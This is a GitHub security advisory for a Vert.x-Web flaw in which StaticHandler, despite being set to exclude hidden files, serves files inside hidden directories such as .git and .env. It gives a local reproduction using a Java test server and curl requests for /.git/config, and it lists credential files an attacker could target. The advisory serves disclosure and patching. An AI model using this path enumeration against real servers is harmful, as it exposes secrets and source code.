Skip to content

Vert.x-Web Access Control Flaw in StaticHandler’s Hidden File Protection for Files Under Hidden Directories

Moderate severity GitHub Reviewed Published Oct 22, 2025 in vert-x3/vertx-web • Updated Oct 22, 2025

Package

maven io.vertx:vertx-web (Maven)

Affected versions

< 4.5.22
>= 5.0.0, <= 5.0.4

Patched versions

4.5.22
5.0.5

Description

Description

There is a flaw in the hidden file protection feature of Vert.x Web’s StaticHandler when setIncludeHidden(false) is configured.

In the current implementation, only files whose final path segment (i.e., the file name) begins with a dot (.) are treated as “hidden” and are blocked from being served. However, this logic fails in the following cases:

  • Files under hidden directories: For example, /.secret/config.txt — although .secret is a hidden directory, the file config.txt itself does not start with a dot, so it gets served.
  • Real-world impact: Sensitive files placed in hidden directories like .git, .env, .aws may become publicly accessible.

As a result, the behavior does not meet the expectations set by the includeHidden=false configuration, which should ideally protect all hidden files and directories. This gap may lead to unintended exposure of sensitive information.

Steps to Reproduce

1. Prepare test environment

# Create directory structure
mkdir -p src/test/resources/webroot/.secret
mkdir -p src/test/resources/webroot/.git

# Place test files
echo "This is a visible file" > src/test/resources/webroot/visible.txt
echo "This is a hidden file" > src/test/resources/webroot/.hidden.txt
echo "SECRET DATA: API_KEY=abc123" > src/test/resources/webroot/.secret/config.txt
echo "Git config data" > src/test/resources/webroot/.git/config
2. Implement test server

import io.vertx.core.AbstractVerticle;
import io.vertx.core.Vertx;
import io.vertx.ext.web.Router;
import io.vertx.ext.web.handler.StaticHandler;

public class StaticHandlerTestServer extends AbstractVerticle {
  @Override
  public void start() {
    Router router = Router.router(vertx);

    // Configure to not serve hidden files
    StaticHandler staticHandler = StaticHandler.create("src/test/resources/webroot")
      .setIncludeHidden(false)
      .setDirectoryListing(false);

    router.route("/*").handler(staticHandler);

    vertx.createHttpServer()
      .requestHandler(router)
      .listen(8082);
  }

  public static void main(String[] args) {
    Vertx vertx = Vertx.vertx();
    vertx.deployVerticle(new StaticHandlerTestServer());
  }
}
3. Confirm the vulnerability

# Normal file (accessible)
curl http://localhost:8082/visible.txt
# Result: 200 OK

# Hidden file (correctly blocked)
curl http://localhost:8082/.git
# Result: 404 Not Found

# File under hidden directory (vulnerable)
curl http://localhost:8082/.git/config
# Result: 200 OK - Returns contents of Git config

Potential Impact

1. Information Disclosure

Examples of sensitive files that could be exposed:

  • .git/config: Git repository settings (e.g., remote URL, credentials)
  • .env/*: Environment variables (API keys, DB credentials)
  • .aws/credentials: AWS access keys
  • .ssh/known_hosts: SSH host trust info
  • .docker/config.json: Docker registry credentials

2. Attack Scenarios

  • Attackers can guess common hidden directory names and enumerate filenames under them to access confidential data.
  • Especially dangerous for .git/HEAD, .git/config, .git/objects/* — which may allow full reconstruction of source code.

3. Affected Scope

  • Affected version: Vert.x Web 5.1.0-SNAPSHOT (likely earlier versions as well)
  • Environments: All OSes (Windows, Linux, macOS)
  • Configurations: All applications using StaticHandler.setIncludeHidden(false)

References

@vietj vietj published to vert-x3/vertx-web Oct 22, 2025
Published by the National Vulnerability Database Oct 22, 2025
Published to the GitHub Advisory Database Oct 22, 2025
Reviewed Oct 22, 2025
Last updated Oct 22, 2025

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements Present
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(12th percentile)

Weaknesses

Files or Directories Accessible to External Parties

The product makes files or directories accessible to unauthorized actors, even though they should not be. Learn more on MITRE.

CVE ID

CVE-2025-11965

GHSA ID

GHSA-h5fg-jpgr-rv9c

Source code

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.